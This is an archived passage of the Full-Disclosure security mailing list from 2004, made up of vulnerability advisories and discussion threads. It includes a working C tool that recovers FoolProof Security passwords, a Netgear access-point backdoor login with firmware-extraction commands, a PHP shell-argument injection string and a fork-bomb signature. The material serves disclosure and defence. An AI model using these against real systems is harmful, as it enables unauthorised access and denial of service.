CYRILLIUM SECURITY SOLUTIONS AND SERVICES DOES NOT PROVIDE ANY WARRANTY FOR
THIS PROGRAM,  EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.
SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY
SERVICING, REPAIR OR CORRECTION.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv[])
{
    int i;    /* Index variable */
    char a,    /* Temporary variable for calculations */
         k[33],    /* Recovery key in hexadecimal */
         k_array[17],    /* Recovery key as array */
         c[17],    /* Control password */
         *b = "D:SKFOIJ@(*EHJFL",    /* Offsets */
         hex_temp[2],    /* Temporary storage for hexadecimal conversion */
         *endptr;    /* Output variable for strtoul */

    if (argc != 3)
    {   
        puts ("Usage: foolpw RECOVERY_KEY CONTROL_PASSWORD");
        return 1;
    }
    if (strlen (argv[1]) != 16*2)
    {   
        puts ("Recovery key must be 16 hexadecimal bytes (32 characters)");
        return 1;
    }
    if (strlen (argv[2]) > 16)
    {   
        puts ("Passwords are limited to 16 characters");
        return 1;
    }
    memset (k, 0, sizeof (b));
    memset (k_array, 0, sizeof (b));
    memset (c, 0, sizeof (c));
    memset (hex_temp, 0, sizeof (hex_temp));
    strcpy (k, argv[1]);
    strcpy (c, argv[2]);

    for (i = 0; i < 16; i++)
    {   
        memcpy (hex_temp, &k[i*2], 2);
        k_array[i] = strtoul (hex_temp, &endptr, 16);
        if (*endptr != '\0')
        {   
            printf("\nInvalid hexadecimal character \'%c\'\n", *endptr);
            return 1;
        }
        a = (c[i] + b[i]) ^ k_array[i];
        putc (a, stdout);
    }
    puts ("");
    return 0;
}

5. Solution
    
    Users who know the "Administrator" password can enter the FoolProof
    control panel and bypass Bootlock/Keylock on any computer that has the
    same "Administrator" password as the compromised computer. To change the
    "Administrator" password, FoolProof Security must be reinstalled.

    Upgrading to FoolProof Security 4.0 or higher is recommended because the
    password recovery feature has been removed. However, FoolProof versions
    4.0 and higher do not support Windows 95, Windows 98, or Windows Me.

    Remember to read the uninstallation and upgrade instructions before
    upgrading FoolProof Security, especially if you are using
    Bootlock/Keylock. Improper uninstallation or upgrading could cause your
    computer to fail to boot.

6. References
    
    1. SmartStuff Software: <http://www.smartstuff.com/>
    2. Riverdeep Interactive Learning, Inc.: <http://www.riverdeep.net>

7. Copyright
    
    Copyright (C) 2004 Cyrillium Security Solutions and Services. All rights
    reserved. Permission is granted to redistribute unmodified copies of
    this advisory.



From insecure at ameritech.net  Sat Jun  5 03:54:32 2004
From: insecure at ameritech.net (Jerry Heidtke)
Date: Fri, 04 Jun 2004 19:54:32 -0700
Subject: [Full-Disclosure] another new worm submission
In-Reply-To: <47190000.1086386745@utd49554.utdallas.edu>
References: <5E1F351F4AE1D611A7FE00B0D0AB064A023532AB@is6b> <40C0E1A9.5080705@ameritech.net> <47190000.1086386745@utd49554.utdallas.edu>
Message-ID: <40C135E8.9030700@ameritech.net>

Paul Schmehl wrote:

> --On Friday, June 04, 2004 03:55:05 PM -0500 insecure 
> <insecure at ameritech.net> wrote:
>
>>
>> McAfee 7.1.0 with DAT 4364 (6/2/04) detects it as BackDoor-CCT. This is
>> not a worm, it's a trojan. Your systems are being remotely compromised,
>> possibly with an auto-rooter targeting the lsass vulnerability, which
>> instructs the compromised system to download, install, and run this
>> trojan. This trojan includes a keystroke logger, and additional
>> components that you seem to have missed. Assume that system and any web
>> site passwords have been compromised. Warn the users of these systems
>> that unless they change any financial site passwords they are likely to
>> be victims of theft.
>>
>> How are these system getting compromised? Why don't you have this patch
>> deployed yet? Why are these systems reachable from the Internet over 
>> port
>> 445?
>>
> For someone who knows nothing about his network, you sure are willing 
> to make a lot of assumptions. You admit you don't know how the systems 
> were compromised and you don't know what compromised them, yet you 
> castigate him for leaving port 445 open and not patching and you 
> assume this happened *remotely*?
>
>> You've got more problems than new worms.
>>
> One of which is miserable comforters.
>
> Paul Schmehl (pauls at utdallas.edu)
> Adjunct Information Security Officer
> The University of Texas at Dallas
> AVIEN Founding Member
> http://www.utdallas.edu/ir/security/

You're right, I made an assumption that the systems were being 
compromised remotely rather than being deliberately and maliciously 
hacked by insiders. Would this somehow be less of a problem? Having 
systems with routable addresses reachable through port 445 is the most 
likely avenue of compromise, if this is not the case then Josh would be 
well advised to determine exactly what is going on with his network.

He did say there were more than one infected system that were displaying 
symptoms of attack against lsass, and that he couldn't find AV 
definitions to pick it up, although it's been detectable as a variant 
for up to six weeks, and someone else posted detections by 8 different 
AV packages. I also stated that there are other components which he 
didn't find, which was another assumption but one which is proven true 
by a quick perusal of any AV vendors' write-up on this.

Since the malware he posted doesn't spread automatically and doesn't 
attack lsass, there is obviously something else going on, which was the 
point I was trying to make. Apparently I was too obtuse for some people. 
I think I suggested some avenues of investigation that may prove helpful 
to the OP. In what way were your comments helpful?




From aditya.deshmukh at online.gateway.technolabs.net  Sat Jun  5 02:16:27 2004
From: aditya.deshmukh at online.gateway.technolabs.net (Aditya, ALD [Aditya Lalit Deshmukh])
Date: Sat, 5 Jun 2004 06:46:27 +0530
Subject: [Full-Disclosure] Using Xbox live for covert communication
In-Reply-To: <9BA6DCC15456CC46894E77233173DD7C157A3905@UCMAIL5>
Message-ID: <ELEOLHOJFMBPBFCJHOCIAELOEIAA.aditya.deshmukh@online.gateway.technolabs.net>

> 
> Then why not find a friend in germany and pretend to plan a biological
> attack? 
> See how "un-monitored" and "private" it is then-:) 
> 

worth a try for securitys sake ? yes!


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)



From fd at proclaimed.net  Sat Jun  5 02:32:20 2004
From: fd at proclaimed.net (fd at proclaimed.net)
Date: Fri, 4 Jun 2004 21:32:20 -0400
Subject: [Full-Disclosure] weather.com contact
Message-ID: <000901c44a9c$f6eb8400$547abe18@proclaimed>

Anyone know anyone at weather.com?



From tarundua at linux-delhi.org  Sat Jun  5 07:40:49 2004
From: tarundua at linux-delhi.org (tarundua at linux-delhi.org)
Date: Sat, 5 Jun 2004 12:10:49 +0530
Subject: [Full-Disclosure] Re: Here
Message-ID: <200406050633.i556XNv24545@netsys.com>

Your file is attached.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: yours.pif
Type: application/octet-stream
Size: 17920 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040605/0fcd4d05/attachment.obj 

From lcamtuf at ghettot.org  Sat Jun  5 10:26:23 2004
From: lcamtuf at ghettot.org (Michal Zalewski)
Date: Sat, 5 Jun 2004 11:26:23 +0200 (CEST)
Subject: [Full-Disclosure] weather.com contact
In-Reply-To: <000901c44a9c$f6eb8400$547abe18@proclaimed>
References: <000901c44a9c$f6eb8400$547abe18@proclaimed>
Message-ID: <20040605112540.H75779@dekadens.coredump.cx>

On Fri, 4 Jun 2004 fd at proclaimed.net wrote:

> Anyone know anyone at weather.com?

No, but I must share that I am perhaps for the first time on this list
truly scared of what you might have discovered.

A weather control exploit?

-- 
------------------------- bash$ :(){ :|:&};: --
 Michal Zalewski * [http://lcamtuf.coredump.cx]
    Did you know that clones never use mirrors?
--------------------------- 2004-06-05 11:25 --

   http://lcamtuf.coredump.cx/photo/current/



From chorchert at veedev.de  Sat Jun  5 11:51:47 2004
From: chorchert at veedev.de (Christian Horchert)
Date: Sat, 5 Jun 2004 12:51:47 +0200
Subject: [Full-Disclosure] weather.com contact
In-Reply-To: <20040605112540.H75779@dekadens.coredump.cx>
References: <000901c44a9c$f6eb8400$547abe18@proclaimed> <20040605112540.H75779@dekadens.coredump.cx>
Message-ID: <57A8B4C0-B6DE-11D8-8DC0-000393754328@veedev.de>

Am 05.06.2004 um 11:26 schrieb Michal Zalewski:
> On Fri, 4 Jun 2004 fd at proclaimed.net wrote:
>
>> Anyone know anyone at weather.com?
>
> No, but I must share that I am perhaps for the first time on this list
> truly scared of what you might have discovered.

Some XSS probably.

> A weather control exploit?

While looking out of my office window today, I must admit, that I am
really looking forward to see that one ;-)


   Christian



From koon at gentoo.org  Sat Jun  5 12:55:48 2004
From: koon at gentoo.org (Thierry Carrez)
Date: Sat, 05 Jun 2004 13:55:48 +0200
Subject: [Full-Disclosure] [ GLSA 200406-03 ] sitecopy: Multiple vulnerabilities in included
 libneon
Message-ID: <40C1B4C4.30607@gentoo.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200406-03
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: sitecopy: Multiple vulnerabilities in included libneon
      Date: June 05, 2004
      Bugs: #51585
        ID: 200406-03

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

sitecopy includes a vulnerable version of the neon library.

Background
==========

sitecopy easily maintains remote websites. It makes it simple to keep a
remote site synchronized with the local site with one command.

Affected packages
=================

    -------------------------------------------------------------------
     Package            /    Vulnerable    /                Unaffected
    -------------------------------------------------------------------
  1  net-misc/sitecopy      <= 0.13.4-r1

Description
===========

Multiple format string vulnerabilities and a heap overflow
vulnerability were discovered in the code of the neon library (GLSA
200405-01 and 200405-13). Current versions of the sitecopy package
include their own version of this library.

Impact
======

When connected to a malicious WebDAV server, these vulnerabilities
could allow execution of arbitrary code with the rights of the user
running sitecopy.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

Currently, there is no released version of sitecopy that contains a fix
for this issue. The original author of the program has indicated he is
unsure when a fixed version may be released. Therefore, the sitecopy
package has been hard-masked and current users are advised to unmerge
the package until a new version is available.

    # emerge -pv unmerge net-misc/sitecopy
    # emerge unmerge net-misc/sitecopy

References
==========

  [ 1 ] GLSA 200405-01
        http://www.gentoo.org/security/en/glsa/glsa-200405-01.xml
  [ 2 ] GLSA 200405-13
        http://www.gentoo.org/security/en/glsa/glsa-200405-13.xml

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200406-03.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAwbTDvcL1obalX08RArrjAJ0S3pVL3yJiDuN1FQ0zjVEXgJVr1ACeMzMT
IfiHxuU2IJ8AzQ09RdZUoTc=
=3VRY
-----END PGP SIGNATURE-----



From fw at deneb.enyo.de  Sat Jun  5 17:20:10 2004
From: fw at deneb.enyo.de (Florian Weimer)
Date: Sat, 05 Jun 2004 18:20:10 +0200
Subject: [Full-Disclosure] IBM Potential Credential Impersonation Attack
 paper?
In-Reply-To: <BAY18-F105fjDMCycJm00064acb@hotmail.com> (erwinp21@hotmail.com's
 message of "Wed, 02 Jun 2004 11:42:22 +0000")
References: <BAY18-F105fjDMCycJm00064acb@hotmail.com>
Message-ID: <87zn7iugcl.fsf@deneb.enyo.de>

> I found the following IBM advisory via their outside advisory service:
> http://www-1.ibm.com/support/docview.wss?uid=swg21168762
>
> They refer to an externally available paper that identifies a form of
> credential impersonation exploit that can affect multiple IBM
> products. Does anybody know which paper IBM is refering to? I tried
> google, but I couldn' t find anything.


It looks like a session fixation vulnerability (if this is the right
terminology):

| Internal Defect: 45186
| 
| Symptom: When a user logs in using forms authentication, they receive
| a cookie and a login page. The user logs in and obtains a
| credential. A security vulnerability exists where an attacker could
| send his unauthenticated cookie to person X. If person X logged in
| using this cookie, the attacker could hijack the seesion of person X

<http://www-1.ibm.com/support/docview.wss?uid=swg24006533>

-- 
Current mail filters: many dial-up/DSL/cable modem hosts, and the
following domains: bigpond.com, di-ve.com, fuorissimo.com, hotmail.com,
jumpy.it, libero.it, netscape.net, postino.it, simplesnet.pt, spymac.com,
tiscali.co.uk, tiscali.cz, tiscali.it, voila.fr, yahoo.com.



From lupe at lupe-christoph.de  Thu Jun  3 23:03:13 2004
From: lupe at lupe-christoph.de (Lupe Christoph)
Date: Fri, 4 Jun 2004 00:03:13 +0200
Subject: [Full-Disclosure] Re: Netgear WG602 Accesspoint vulnerability
In-Reply-To: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch>
References: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch>
Message-ID: <20040605181304.14539.qmail@mail.datacolo.com>

On Thursday, 2004-06-03 at 19:35:22 +0200, Tom Knienieder wrote:

>         Possibly vulnerable (not verified)
>                 WG602 with other Firmware Versions
>                 WG602v2

The WG602v2 uses different firmware.

>         Download the WG602 Version 1.5.67 firmware from Netgear
>         ( http://kbserver.netgear.com/support_details.asp?dnldID=366 )
WG602v2 Firmware Version 2.0RC5:
http://kbserver.netgear.com/support_details.asp?dnldID=504

WG602v2 Repeater Firmware Version 3.2 RC6
http://kbserver.netgear.com/support_details.asp?dnldID=692

>         and run the following shell commands on a UNIX box:

>         $ dd if=wg602_1.5.67_firmware.img bs=1 skip=425716 > rd.img.gz
>         $ zcat rd.img.gz | strings | grep -A5 -B5 5777364

2.0RC5
dd if=apfirmware_2.0rc5.img bs=1 skip=111596 of=rd.img.bz2

3.2 RC6
unzip wg602_v2_apfirmware_3.2rc6.zip
dd if=apfirmware_3.2rc6.img bs=1 skip=112620 of=rd.img.bz2

In both cases this:
  bzcat rd.img.bz2 | strings | egrep 'Authorization|BASIC|super|5777364'
Returns some garbage, but nothing similar to your output. Also logging
in with super/5777364 does not work with my unit (unknown firmware
release - I forgot the password and have to reset the unit. But it's
getting a little late here.)

HTH,
Lupe Christoph
-- 
| lupe at lupe-christoph.de       |           http://www.lupe-christoph.de/ |
| "... putting a mail server on the Internet without filtering is like   |
| covering yourself with barbecue sauce and breaking into the Charity    |
| Home for Badgers with Rabies.                            Michael Lucas |



From debian-security-announce at lists.debian.org  Sat Jun  5 21:39:22 2004
From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org)
Date: Sat, 5 Jun 2004 13:39:22 -0700
Subject: [Full-Disclosure] [SECURITY] [DSA 515-1] New lha packages fix several vulnerabilities
Message-ID: <20040605203922.GW19402@alcor.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 515-1                     security at debian.org
http://www.debian.org/security/                             Matt Zimmerman
June 5th, 2004                          http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package        : lha
Vulnerability  : several
Problem-Type   : local
Debian-specific: no
CVE Ids        : CAN-2004-0234 CAN-2004-0235

Two vulnerabilities were discovered in lha:

 - CAN-2004-0234 - Multiple stack-based buffer overflows in the
   get_header function in header.c for LHA 1.14 allow remote attackers
   or local users to execute arbitrary code via long directory or file
   names in an LHA archive, which triggers the overflow when testing
   or extracting the archive.

 - CAN-2004-0235 - Multiple directory traversal vulnerabilities in LHA
   1.14 allow remote attackers or local users to create arbitrary
   files via an LHA archive containing filenames with (1) .. sequences
   or (2) absolute pathnames with double leading slashes
   ("//absolute/path").

For the current stable distribution (woody), these problems have been
fixed in version 1.14i-2woody1.

For the unstable distribution (sid), these problems have been fixed in
version 1.14i-8.

We recommend that you update your lha package.

Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 3.0 alias woody
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/non-free/l/lha/lha_1.14i-2woody1.dsc
      Size/MD5 checksum:      556 22b59156de011ddb84b0eaed4f174d2c
    http://security.debian.org/pool/updates/non-free/l/lha/lha_1.14i-2woody1.diff.gz
      Size/MD5 checksum:    21414 0f990fd920ea4770dd088a97c1c87f18
    http://security.debian.org/pool/updates/non-free/l/lha/lha_1.14i.orig.tar.gz
      Size/MD5 checksum:    64196 10410742b0169f3357ef9a3f0f032037

  Alpha architecture:

    http://security.debian.org/pool/updates/non-free/l/lha/lha_1.14i-2woody1_alpha.deb
      Size/MD5 checksum:    64820 b7e55241026435e0c882178f6606f33b

  ARM architecture:

    http://security.debian.org/pool/updates/non-free/l/lha/lha_1.14i-2woody1_arm.deb
      Size/MD5 checksum:    55542 62be18e035d6faedb4d990f16081d74e

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/non-free/l/lha/lha_1.14i-2woody1_i386.deb
      Size/MD5 checksum:    50090 7548e83cb7049fe43243f804eb456ed7

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/non-free/l/lha/lha_1.14i-2woody1_ia64.deb
      Size/MD5 checksum:    73588 32e62b8fbd0cf2ef64d7838d005ef19e

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/non-free/l/lha/lha_1.14i-2woody1_m68k.deb
      Size/MD5 checksum:    48632 bd5ce2c34a44952abf757993153fe238

  PowerPC architecture:

    http://security.debian.org/pool/updates/non-free/l/lha/lha_1.14i-2woody1_powerpc.deb
      Size/MD5 checksum:    55160 9d8225135b7c6abe443a4d0d4fc27245

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/non-free/l/lha/lha_1.14i-2woody1_s390.deb
      Size/MD5 checksum:    53930 02c5e52b834539a30bd76f2e90265fb8

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/non-free/l/lha/lha_1.14i-2woody1_sparc.deb
      Size/MD5 checksum:    56526 8323a0469ef41c7fcf8b84c4b5f1a7ce

  These files will probably be moved into the stable distribution on
  its next revision.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAwi9kArxCt0PiXR4RAtG3AKCtP0m2hbcPCG2y1hPXPYA2iLTkyACg0g15
BkEdgvrmYOhmBy2sbOzYIoc=
=v4b1
-----END PGP SIGNATURE-----



From dufresne at winternet.com  Sat Jun  5 23:38:11 2004
From: dufresne at winternet.com (Ron DuFresne)
Date: Sat, 5 Jun 2004 17:38:11 -0500 (CDT)
Subject: [Full-Disclosure] another new worm submission
In-Reply-To: <40C135E8.9030700@ameritech.net>
Message-ID: <Pine.GSO.4.43.0406051732180.27610-100000@tundra.winternet.com>

	[SNIP]

> >>
> >> How are these system getting compromised? Why don't you have this patch
> >> deployed yet? Why are these systems reachable from the Internet over
> >> port
> >> 445?
> >>
> > For someone who knows nothing about his network, you sure are willing
> > to make a lot of assumptions. You admit you don't know how the systems
> > were compromised and you don't know what compromised them, yet you
> > castigate him for leaving port 445 open and not patching and you
> > assume this happened *remotely*?
> >>


	[SNIP]

> You're right, I made an assumption that the systems were being
> compromised remotely rather than being deliberately and maliciously
> hacked by insiders. Would this somehow be less of a problem? Having
> systems with routable addresses reachable through port 445 is the most
> likely avenue of compromise, if this is not the case then Josh would be
> well advised to determine exactly what is going on with his network.
>

Agreed here, anyone sitting with exposed windows specific ports on the
insecure Internet <e.g. 445, 135-139, udp as well as tcp, etc> is pretty
much deserving of what hits them these days.  Without tackling that
side of the coin, it's going to be pretty hard for these folks to
determine if the troubles they are facing is internal or not.
Without control of the perimiter choke point, how can one even
think to start to look at controls of the whole danged wire inside?
Perhaps we need to adapt  personal firewall day to a monthly thing for
the next 5 years or more to help these clueless souls.

	[SNIP]

Thanks,

Ron DuFresne
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity.  It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
	***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D.  Just don't touch anything.



From dufresne at winternet.com  Sat Jun  5 23:41:20 2004
From: dufresne at winternet.com (Ron DuFresne)
Date: Sat, 5 Jun 2004 17:41:20 -0500 (CDT)
Subject: [Full-Disclosure] weather.com contact
In-Reply-To: <20040605112540.H75779@dekadens.coredump.cx>
Message-ID: <Pine.GSO.4.43.0406051740141.27610-100000@tundra.winternet.com>

On Sat, 5 Jun 2004, Michal Zalewski wrote:

> On Fri, 4 Jun 2004 fd at proclaimed.net wrote:
>
> > Anyone know anyone at weather.com?
>
> No, but I must share that I am perhaps for the first time on this list
> truly scared of what you might have discovered.
>
> A weather control exploit?
>

didn't they try this back at woodstock?  <no more rain, no more rain, no
more rain...><gryn>

Thanks,

Ron DuFresne
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity.  It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
	***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D.  Just don't touch anything.



From user86 at earthlink.net  Sun Jun  6 01:37:10 2004
From: user86 at earthlink.net (user86)
Date: Sat, 5 Jun 2004 20:37:10 -0400
Subject: [Full-Disclosure] SMC 7008ABRv2 and 7004VBRv1 updated firmware corrects port 1900 issue.
Message-ID: <200406052037.10519.user86@earthlink.net>

SMC has released updated firmware for their 7008ABRv2 (part number: 750.9814) 
and 7004VBRv1 routers that permanently fixes the port 1900 issue, making port 
1900 no longer be WAN (internet) accessible.

The firmware update for the 7008ABRv2 (version 1.035) is available from:
http://www.smc.com/index.cfm?sec=Support&pg=Download-Details&prod=243&site=c

The firmware update for the 7004VBRv1 (version 1.232) is available from:
http://www.smc.com/index.cfm?sec=Support&pg=Download-Details&prod=257&site=c



From cfaigle at richmond.edu  Thu Jun  3 21:18:07 2004
From: cfaigle at richmond.edu (Faigle, Chris)
Date: Thu, 3 Jun 2004 16:18:07 -0400
Subject: [Full-Disclosure] VirusLogger - Script to sort and e-mail Symantec Corporate Anti-Virus Logs available
Message-ID: <0F98C8BA43C00C42AFFBE000DA9DDB2301C49654@pollux.richmond.edu>

Hi,

	We use Symantec Corporate Anti-Virus here at the University of
Richmond for all faculty, staff and student Windows machines.

	Several institutions have expressed interest in a script that I
wrote to have the logs from the virus server sorted and e-mailed daily.

	It is now available (under GPL) at
http://is.richmond.edu/techsupport/security/Downloads.htm 

	In brief:

		It uses Symantec's VHistExp tool (on the CD, in the
Tools\Nosuprt\VHistExp\ folder) to pull the logs.

		It then buckets each entry into "Left Alone", "Deleted",
"Cleaned", "Quarantined" and "Unknown".

		It also makes a bucket for "Special" entries, which are
keywords set to "Blaster", "Welchia", "Gaobot", "Sasser", etc. [I use
these as an additional resource to determine if a machine is patched.]

		It then saves these reports and e-mails them to the
addresses specified.

	I have it set up as a Scheduled Task on our SAV server to run at
3 am, using "VirusLogger.py -yesterday", so every morning I receive a
fresh report of the previous day's activity. (As does our help-desk.)

	Each morning, I go through the "Left Alone" report and use the
server to verify if each virus still exists and make decisions as to how
each machine should be handled.

	I go through the "Special" report if it is not empty as these
machines have a patch issue.

	Further, I also run quickly check the "Deleted" report to keep
an eye on what is coming through, but getting deleted.

	It requires Python, keeps an extensive log and has reasonably
good exception handling.  It has been running stably for months now.

	Hope this is useful.

	Please reply off-list.

Best,
Chris Faigle
IS Security
University of Richmond


From jhg at athensgroup.com  Sun Jun  6 01:27:07 2004
From: jhg at athensgroup.com (James Garrison)
Date: Sat, 05 Jun 2004 19:27:07 -0500
Subject: [Full-Disclosure] Re: Netgear WG602 Accesspoint vulnerability
In-Reply-To: <20040603220313.GB2307@lupe-christoph.de>
References: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch> <20040603220313.GB2307@lupe-christoph.de>
Message-ID: <40C264DB.5000302@athensgroup.com>

My WG602v2 with firmware 2.0RC5 does not appear to be vulnerable.
I cannot login with the super/5777364 combination.

Lupe Christoph wrote:

> On Thursday, 2004-06-03 at 19:35:22 +0200, Tom Knienieder wrote:
> 
> 
>>        Possibly vulnerable (not verified)
>>                WG602 with other Firmware Versions
>>                WG602v2

-- 
James Garrison                                Athens Group, Inc.
mailto:jhg at athensgroup.com                    5608 Parkcrest Dr
http://www.athensgroup.com                    Austin, TX 78731
PGP: RSA=0x92E90A3B DH/DSS=0x498D331C         (512) 345-0600 x150



From jhg at athensgroup.com  Sun Jun  6 01:34:32 2004
From: jhg at athensgroup.com (James Garrison)
Date: Sat, 05 Jun 2004 19:34:32 -0500
Subject: [Full-Disclosure] Re: Netgear WG602 Accesspoint vulnerability
In-Reply-To: <20040603220313.GB2307@lupe-christoph.de>
References: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch> <20040603220313.GB2307@lupe-christoph.de>
Message-ID: <40C26698.4090508@athensgroup.com>

CORRECTION - Firmware is 3.1RC5 not 2.0RC5 as I first stated

My WG602v2 with firmware 3.1RC5 does not appear to be vulnerable.
                          ^^^^^^

I cannot login with the super/5777364 combination.

Lupe Christoph wrote:

> On Thursday, 2004-06-03 at 19:35:22 +0200, Tom Knienieder wrote:
> 
> 
>>        Possibly vulnerable (not verified)
>>                WG602 with other Firmware Versions
>>                WG602v2

-- 
James Garrison                                Athens Group, Inc.
mailto:jhg at athensgroup.com                    5608 Parkcrest Dr
http://www.athensgroup.com                    Austin, TX 78731
PGP: RSA=0x92E90A3B DH/DSS=0x498D331C         (512) 345-0600 x150





From list at fabiand.net  Sun Jun  6 12:25:30 2004
From: list at fabiand.net (Daniel Fabian)
Date: Sun,  6 Jun 2004 13:25:30 +0200
Subject: [Full-Disclosure] PHP escapeshellarg Windows Vulnerability
Message-ID: <200406061325.AA2588018034@fabiand.net>

SEC-CONSULT Security Advisory - PHP: Hypertext Preprocessor

Vendor: PHP (http://www.php.net)
Product: PHP 4.3.6 and below (verified in 4.3.5 which was current when the bug was discovered)
Vendor status: vendor contacted (04-04-2004)
Patch status: Problem fixed in 4.3.7


===========
DESCRIPTION
===========

PHP offers the function escapeshellarg() to escape arguments to shell commands in a way that makes it impossible for an attacker to execute additional commands. However due to a bug in the function, this does not work with the windows version of PHP.

Vulnerable is for example the following code:

[code]
$user = escapeshellarg($_GET['user']);
$pwd = escapeshellarg($_GET['pwd']);

system("htpasswd -nb $user $pwd", $return);
[/code]

If an attacker enters '" || dir || ' (without the single quotes) for user (or pwd), the command dir is executed.


===============
GENERAL REMARKS
===============

- The bug was successfully verified in PHP 4.3.3 and 4.3.5. In former version (4.3.3) the execution of additional commands was only possible when single quotes were used.

- While correcting the vulnerability, the PHP staff seems to have noticed that the function escapeshellcmd is vulnerable too (according to the changelog of v4.3.7).

====================
Recommended Hotfixes
====================

Update PHP to version 4.3.7.


EOF Daniel Fabian / @2004
d.fabian at sec-consult dot com

=======
Contact
=======

SEC CONSULT Unternehmensberatung GmbH

B?ro Wien
Blindengasse 3
A-1080 Wien
Austria

Tel.: +43 / 1 / 409 0307 - 570
Fax.: +43 / 1 / 409 0307 - 590
Mail: office at sec-consult dot com
http://www.sec-consult.com
 
             



From Jan-Peter.Koopmann at seceidos.de  Sun Jun  6 07:59:13 2004
From: Jan-Peter.Koopmann at seceidos.de (Jan-Peter Koopmann)
Date: Sun, 6 Jun 2004 08:59:13 +0200
Subject: [Full-Disclosure] Re: Netgear WG602 Accesspoint vulnerability
Message-ID: <B9D9BD71E387E24AB1D619FE4B748CC71224A2@ERWIN.intern.seceidos.de>

On Sunday, June 06, 2004 2:35 AM James Garrison wrote:

> CORRECTION - Firmware is 3.1RC5 not 2.0RC5 as I first stated
> 
> My WG602v2 with firmware 3.1RC5 does not appear to be vulnerable.
>                           ^^^^^^
> 
> I cannot login with the super/5777364 combination.

Firmware 3.2RC3 seems safe as well.

Regards,
 JP



From mwilliamson at stx.rr.com  Sun Jun  6 15:33:00 2004
From: mwilliamson at stx.rr.com (michael s williamson)
Date: Sun, 06 Jun 2004 09:33:00 -0500
Subject: [Full-Disclosure] Using Xbox live for covert communication
In-Reply-To: <ELEOLHOJFMBPBFCJHOCIAELOEIAA.aditya.deshmukh@online.gateway.technolabs.net>
References: 
	 <ELEOLHOJFMBPBFCJHOCIAELOEIAA.aditya.deshmukh@online.gateway.technolabs.net>
Message-ID: <1086532380.21450.15.camel@mesquite.yi.org>

-- snip --
> worth a try for securitys sake ? yes!
-- snip --

Before anybody does something stupid, remember that in the USA we really
no longer have the bill of rights.  We also no longer have checks and
balances.  We can be jailed indefinitely without even knowing what we're
charged with.  As for trial by jury by one's peers...guess not if it's
all classified.

This is not the country I grew up in.

I wonder how much longer it'll be when breaking DCMA will be considered
an act of terrorism. 

-Michael

PS: If you really want a good covert channel, bury text in donkey porn
images on usenet posted through a chain of pgp-enabled anonymous
remailers.  Make sure and set each remailer to add a random delay.  Pad
each level with a random amount of uncompressable crap.  If the NSA is
really able to follow this, at least you'll be able insure their
displeasure of having to view really horrible porn.  ;)





From rtoren at futures-inc.com  Sun Jun  6 20:42:00 2004
From: rtoren at futures-inc.com (Rip Toren)
Date: Sun,  6 Jun 2004 15:42:00 -0400
Subject: [Full-Disclosure] Netgear WG602 Accesspoint vulnerability
